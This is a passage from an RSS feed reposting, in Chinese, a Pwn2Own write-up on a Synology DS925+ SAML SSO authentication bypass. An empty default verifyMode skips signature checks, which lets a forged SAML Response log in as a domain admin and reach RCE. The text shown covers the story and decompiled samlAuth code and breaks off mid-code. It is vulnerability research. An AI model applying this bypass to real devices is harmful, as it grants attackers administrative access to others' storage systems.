BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);margin-bottom: 0px !important;"><p style="margin: 0px 0px 15px;"><span leaf="">免责声明：本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。</span></p></blockquote><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://blog.sentry.security/beyond-prompt-injection-hacking-apples-private-cloud-compute/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=e0c75a0e&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzAxODM5ODQzNQ%3D%3D%26mid%3D2247496872%26idx%3D1%26sn%3Dbcb96907cc6c254ebf7d651aaecdab63">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 12 Aug 2026 12:26:00 +0800</pubDate>
    </item>
    <item>
      <title>Synology DS925+ 通过 SAML SSO 绕过身份验证</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzAxODM5ODQzNQ==&amp;mid=2247496872&amp;idx=2&amp;sn=717d1acc999e2c633056f400f0eb92ba</link>
      <description>在从未启用 SAML SSO 的 Synology DS925+ 上，配置缺失导致 verifyMode 默认为空字符串，完全跳过签名验证，攻击者可伪造 SAML Response 以域管理员身份登录并实现 RCE。</description>
      <content:encoded><![CDATA[<p><span>chanzep</span> <span>2026-08-12 12:26</span> <span style="display: inline-block;">中国香港</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=7a8a8861&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fh4gtbB74nSiaJJXveuPzTBHicibpZXxpykMdPVhRx9jYPaVUKZ8TsgwplDNoKL1KGDVLxJuNznrn73gv7mcPXr68sMT6hddRXDroaSq6icl6flA%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>在从未启用 SAML SSO 的 Synology DS925+ 上，配置缺失导致 verifyMode 默认为空字符串，完全跳过签名验证，攻击者可伪造 SAML Response 以域管理员身份登录并实现 RCE。</p>
  <table style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding: 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><thead><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">原文链接</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">作者</span></p></th></tr></thead><tbody><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf=""><a href="https://chanzep.github.io/posts/pwn2own-ireland-2025-bypassing-authentication-via-synology-ds925-saml-sso" target="_blank">https://chanzep.github.io/posts/pwn2own-ireland-2025-bypassing-authentication-via-synology-ds925-saml-sso</a></span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">chanzep</span></p></td></tr></tbody></table><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">2026 年 6 月 11 日</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">I. 故事</span></strong></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">那次能参加 Pwn2Own 对我来说多少有些运气成分：我在报名截止日期前刚好发现了漏洞并绕过了参赛要求。刚开始挖洞时，我对 pwn 一无所知，所以和朋友（@ngocquy0307）合作，请他在过程中帮忙——逆向那些我看不懂的代码部分，同时确保我们没有遗漏任何 pwn 漏洞。至于我，则决定专注于逻辑漏洞。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">就在比赛前不久，我碰巧在一个小型 Microsoft 插件中发现了一个 SSO 绕过漏洞。不知为什么我有一种直觉——就像祖先在指引我一样——所以当我开始审计时，我决定把 SSO 作为第一个目标。幸运的是，这个应用的 SAML SSO 确实存在漏洞。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在整个挖洞过程中，我们没有使用任何 AI。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">II. 分析</span></strong></h3><h4 style="font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">SYNOPAMSSO::samlAuth 工作流程</span></strong></h4><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">SYNOPAMSSO::samlAuth</span></code><span leaf="">函数处理用户通过 SAML SSO 登录时的逻辑。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(215, 58, 73);"><span leaf="">int</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">samlAuth</span></span><span leaf="">(</span><span style="color: rgb(215, 58, 73);"><span leaf="">const</span></span><span leaf=""> std::string&amp; samlResponseB64, std::string&amp; outUser)</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">    SYNO::SSO::SSOSAMLClient client;    </span><span style="color: rgb(106, 115, 125);"><span leaf="">// [1]</span><span leaf=""><br/></span></span><span leaf="">    std::string resp = samlResponseB64;</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: rgb(215, 58, 73);"><span leaf="">char</span></span><span leaf="">&amp; c : resp)</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> (c == </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39; &#39;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">            c = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;+&#39;</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    client.</span><span style="color: rgb(0, 92, 197);"><span leaf="">VerifySamlResponse</span></span><span leaf="">(resp);    </span><span style="color: rgb(106, 115, 125);"><span leaf="">// [2]</span><span leaf=""><br/></span></span><span style="color: rgb(215, 58, 73);"><span leaf="">const</span></span><span leaf=""> std::string&amp; samlUser = client.</span><span style="color: rgb(36, 41, 46);"><span leaf="">m_nameId</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">char</span></span><span leaf=""> realName[</span><span style="color: rgb(0, 92, 197);"><span leaf="">1024</span></span><span leaf="">] = {</span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">};</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: rgb(0, 92, 197);"><span leaf="">SLIBUserRealNameGet</span></span><span leaf="">(samlUser.</span><span style="color: rgb(0, 92, 197);"><span leaf="">c_str</span></span><span leaf="">(), realName, </span><span style="color: rgb(215, 58, 73);"><span leaf="">sizeof</span></span><span leaf=""> realName) &lt; </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">) {</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">syslog</span></span><span leaf="">(LOG_ERR, </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;%s:%d no such user: %s&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;saml_auth.cpp&#34;</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">30</span></span><span leaf="">, samlUser.</span><span style="color: rgb(0, 92, 197);"><span leaf="">c_str</span></span><span leaf="">());</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">return</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">2</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: rgb(0, 92, 197);"><span leaf="">strcasecmp</span></span><span leaf="">(samlUser.</span><span style="color: rgb(0, 92, 197);"><span leaf="">c_str</span></span><span leaf="">(), realName) != </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">) {</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">syslog</span></span><span leaf="">(LOG_ERR, </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;%s:%d username not match:  %s, %s&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;saml_auth.cpp&#34;</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">34</span></span><span leaf="">, samlUser.</span><span style="color: rgb(0, 92, 197);"><span leaf="">c_str</span></span><span leaf="">(), realName);</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">return</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">2</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">bool</span></span><span leaf=""> qualified = </span><span style="color: rgb(0, 92, 197);"><span leaf="">std::strchr</span></span><span leaf="">(samlUser.</span><span style="color: rgb(0, 92, 197);"><span leaf="">c_str</span></span><span leaf="">(), </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;</span></span><span style="font-weight: bold;color: rgb(34, 134, 58);"><span leaf="">\\</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">                  || </span><span style="color: rgb(0, 92, 197);"><span leaf="">std::strchr</span></span><span leaf="">(samlUser.</span><span style="color: rgb(0, 92, 197);"><span leaf="">c_str</span></span><span leaf="">(), </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;@&#39;</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> (!qualified &amp;&amp; !client.</span><span style="color: rgb(36, 41, 46);"><span leaf="">m_allowLocalUser</span></span><span leaf="">) {     </span><span style="color: rgb(106, 115, 125);"><span leaf="">// [3]</span><span leaf=""><br/></span></span><span style="color: rgb(0, 92, 197);"><span leaf="">syslog</span></span><span leaf="">(LOG_ERR, </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;%s:%d user is local:  %s, %s&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;saml_auth.cpp&#34;</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">40</span></span><span leaf="">, samlUser.</span><span style="color: rgb(0, 92, 197);"><span leaf="">c_str</span></span><span leaf="">(), realName);</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">return</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">2</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">    outUser = samlUser;</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">return</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">__int64 __fastcall </span><span style="color: rgb(111, 66, 193);"><span leaf="">SYNOPAMSSO::samlAuth</span></span><span leaf="">(std::string *samlRes, std::string *outUser)</span><span leaf=""><br/></span><span leaf="">{</span><span style="color: rgb(106, 115, 125);"><span leaf="">// [...]</span><span leaf=""><br/></span></span><span leaf="">  std::string nameID; </span><span style="color: rgb(106, 115, 125);"><span leaf="">// [rsp+40h] [rbp-600h] BYREF</span><span leaf=""><br/></span></span><span leaf="">  _BYTE v28[</span><span style="color: rgb(0, 92, 197);"><span leaf="">248</span></span><span leaf="">]; </span><span style="color: rgb(106, 115, 125);"><span leaf="">// [rsp+60h] [rbp-5E0h] BYREF</span><span leaf=""><br/></span></span><span leaf="">  __int64 v29; </span><span style="color: rgb(106, 115, 125);"><span leaf="">// [rsp+158h] [rbp-4E8h]</span><span leaf=""><br/></span></span><span leaf="">  __int64 v30; </span><span style="color: rgb(106, 115, 125);"><span leaf="">// [rsp+160h] [rbp-4E0h]</span></span><span style="color: rgb(106, 115, 125);"><span leaf="">// [...]</span></span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">SYNO::SSO::SSOSAMLClient::SSOSAMLClient</span></span><span leaf="">((SYNO::SSO::SSOSAMLClient *)v28); </span><span style="color: rgb(106, 115, 125);"><span leaf="">// [1]</span><span leaf=""><br/></span></span><span leaf="">  data = samlRes-&gt;data;</span><span leaf=""><br/></span><span leaf="">  size = samlRes-&gt;size;</span><span leaf=""><br/></span><span leaf="">  v24 = (std::string *)v26;</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">memset</span></span><span leaf="">(v32, </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">, </span><span style="color: rgb(215, 58, 73);"><span leaf="">sizeof</span></span><span leaf="">(v32));</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">string::string</span></span><span leaf="">(&amp;v24, data, &amp;data[size]);   </span><span style="color: rgb(106, 115, 125);"><span leaf="">// basic_string&lt;char&gt;::_M_construct</span><span leaf=""><br/></span></span><span leaf="">  v4 = v24;</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">for</span></span><span leaf=""> ( i = (std::string *)((</span><span style="color: rgb(215, 58, 73);"><span leaf="">char</span></span><span leaf=""> *)v24 + v25); i != v4; v4 = (std::string *)((</span><span style="color: rgb(215, 58, 73);"><span leaf="">char</span></span><span leaf=""> *)v4 + </span><span style="color: rgb(0, 92, 197);"><span leaf="">1</span></span><span leaf="">) )</span><span leaf=""><br/></span><span leaf="">  {</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( </span><span style="color: rgb(0, 92, 197);"><span leaf="">LOBYTE</span></span><span leaf="">(v4-&gt;data) == </span><span style="color: rgb(0, 92, 197);"><span leaf="">32</span></span><span leaf=""> )</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">LOBYTE</span></span><span leaf="">(v4-&gt;data) = </span><span style="color: rgb(0, 92, 197);"><span leaf="">43</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">SYNO::SSO::SSOSAMLClient::VerifySamlResponse</span></span><span leaf="">(v28, &amp;v24, </span><span style="color: rgb(0, 92, 197);"><span leaf="">0.0</span></span><span leaf="">); </span><span style="color: rgb(106, 115, 125);"><span leaf="">//  [2]</span><span leaf=""><br/></span></span><span leaf="">  nameID.</span><span style="color: rgb(36, 41, 46);"><span leaf="">data</span></span><span leaf=""> = nameID.</span><span style="color: rgb(36, 41, 46);"><span leaf="">local_str</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">string::string</span></span><span leaf="">(&amp;nameID, v29, v29 + v30);</span><span leaf=""><br/></span><span leaf="">  v6 = </span><span style="color: rgb(0, 92, 197);"><span leaf="">SLIBUserRealNameGet</span></span><span leaf="">(nameID.</span><span style="color: rgb(36, 41, 46);"><span leaf="">data</span></span><span leaf="">, v32, </span><span style="color: rgb(0, 92, 197);"><span leaf="">1024LL</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( nameID.</span><span style="color: rgb(36, 41, 46);"><span leaf="">data</span></span><span leaf=""> != nameID.</span><span style="color: rgb(36, 41, 46);"><span leaf="">local_str</span></span><span leaf=""> )</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">operator</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">delete</span></span><span leaf="">(nameID.</span><span style="color: rgb(36, 41, 46);"><span leaf="">data</span></span><span leaf="">, *(_QWORD *)nameID.</span><span style="color: rgb(36, 41, 46);"><span leaf="">local_str</span></span><span leaf=""> + </span><span style="color: rgb(0, 92, 197);"><span leaf="">1LL</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">  nameID.</span><span style="color: rgb(36, 41, 46);"><span leaf="">data</span></span><span leaf=""> = nameID.</span><span style="color: rgb(36, 41, 46);"><span leaf="">local_str</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">  v7 = v29 + v30;</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( v6 &lt; </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf=""> )</span><span leaf=""><br/></span><span leaf="">  {</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">string::string</span></span><span leaf="">(&amp;nameID, v29, v7);</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">__syslog_chk</span></span><span leaf="">(</span><span style="color: rgb(0, 92, 197);"><span leaf="">3LL</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">2LL</span></span><span leaf="">, </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;%s:%d no such user: %s&#34;</span></span><span leaf="">, </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;saml_auth.cpp&#34;</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">30</span></span><span leaf="">, nameID.</span><span style="color: rgb(36, 41, 46);"><span leaf="">data</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">goto</span></span><span leaf=""> LABEL_34;</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">string::string</span></span><span leaf="">(&amp;nameID, v29, v7);</span><span leaf=""><br/></span><span leaf="">  v8 = (std::string *)nameID.</span><span style="color: rgb(36, 41, 46);"><span leaf="">data</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">  v9 = </span><span style="color: rgb(0, 92, 197);"><span leaf="">strcasecmp</span></span><span leaf="">(nameID.</span><span style="color: rgb(36, 41, 46);"><span leaf="">data</span></span><span leaf="">, (</span><span style="color: rgb(215, 58, 73);"><span leaf="">const</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">char</span></span><span leaf=""> *)v32);</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( v8 != (std::string *)nameID.</span><span style="color: rgb(36, 41, 46);"><span leaf="">local_str</span></span><span leaf=""> )</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">operator</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">delete</span></span><span leaf="">(v8, *(_QWORD *)nameID.</span><span style="color: rgb(36, 41, 46);"><span leaf="">local_str</span></span><span leaf=""> + </span><span style="color: rgb(0, 92, 197);"><span leaf="">1LL</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">  nameID.</span><span style="color: rgb(36, 41, 46);"><span leaf="">data</span></span><span leaf=""> = nameID.</span><span style="color: rgb(36, 41, 46);"><span leaf="">local_str</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">  v10 = v29 + v30;</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( v9 )</span><span leaf=""><br/></span><span leaf="">  {</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">string::string</span></span><span leaf="">(&amp;nameID, v29, v10);</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">__syslog_chk</span></span><span leaf="">(</span><span style="color: rgb(0, 92, 197);"><span leaf="">3LL</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">2LL</span></span><span leaf="">, </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;%s:%d username not match:  %s, %s&#34;</span></span><span leaf="">, </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;saml_auth.cpp&#34;</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">34</span></span><span leaf="">, nameID.</span><span style="color: rgb(36, 41, 46);"><span leaf="">data</span></span><span leaf="">, (</span><span style="color: rgb(215, 58, 73);"><span leaf="">const</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">char</span></span><span leaf=""> *)v32);</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">goto</span></span><span leaf=""> LABEL_34;</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">string::string</span></span><span leaf="">(&amp;nameID, v29, v10);</span><span leaf=""><br/></span><span leaf="">  v11 = nameID.</span><span style="color: rgb(36, 41, 46);"><span leaf="">data</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( nameID.</span><span style="color: rgb(36, 41, 46);"><span leaf="">data</span></span><span leaf=""> )</span><span leaf=""><br/></span><span leaf="">  {</span><span leaf=""><br/></span><span leaf="">    s = nameID.</span><span style="color: rgb(36, 41, 46);"><span leaf="">data</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    v11 = nameID.</span><span style="color: rgb(36, 41, 46);"><span leaf="">data</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    v12 = </span><span style="color: rgb(0, 92, 197);"><span leaf="">strchr</span></span><span leaf="">(nameID.</span><span style="color: rgb(36, 41, 46);"><span leaf="">data</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">92</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">    v13 = </span><span style="color: rgb(0, 92, 197);"><span leaf="">2LL</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( !v12 )</span><span leaf=""><br/></span><span leaf="">    {</span><span leaf=""><br/></span><span leaf="">      v11 = (</span><span style="color: rgb(215, 58, 73);"><span leaf="">char</span></span><span leaf=""> *)s;</span><span leaf=""><br/></span><span leaf="">      v13 = </span><span style="color: rgb(0, 92, 197);"><span leaf="">strchr</span></span><span leaf="">(s, </span><span style="color: rgb(0, 92, 197);"><span leaf="">64</span></span><span leaf="">) == </span><span style="color: rgb(0, 92, 197);"><span leaf="">0LL</span></span><span leaf=""> ? </span><span style="color: rgb(0, 92, 197);"><span leaf="">1</span></span><span leaf=""> : </span><span style="color: rgb(0, 92, 197);"><span leaf="">8</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( v11 == nameID.</span><span style="color: rgb(36, 41, 46);"><span leaf="">local_str</span></span><span leaf=""> )</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">goto</span></span><span leaf=""> LABEL_15;</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">else</span></span><span leaf=""><br/></span><span leaf="">  {</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">LODWORD</span></span><span leaf="">(v13) = </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span leaf="">  sa = v13;</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">operator</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">delete</span></span><span leaf="">(v11, *(_QWORD *)nameID.</span><span style="color: rgb(36, 41, 46);"><span leaf="">local_str</span></span><span leaf=""> + </span><span style="color: rgb(0, 92, 197);"><span leaf="">1LL</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">  v13 = sa;</span><span leaf=""><br/></span><span leaf="">LABEL_15:</span><span leaf=""><br/></span><span leaf="">  nameID.</span><span style="color: rgb(36, 41, 46);"><span leaf="">data</span></span><span leaf=""> = nameID.</span><span style="color: rgb(36, 41, 46);"><span leaf="">local_str</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span 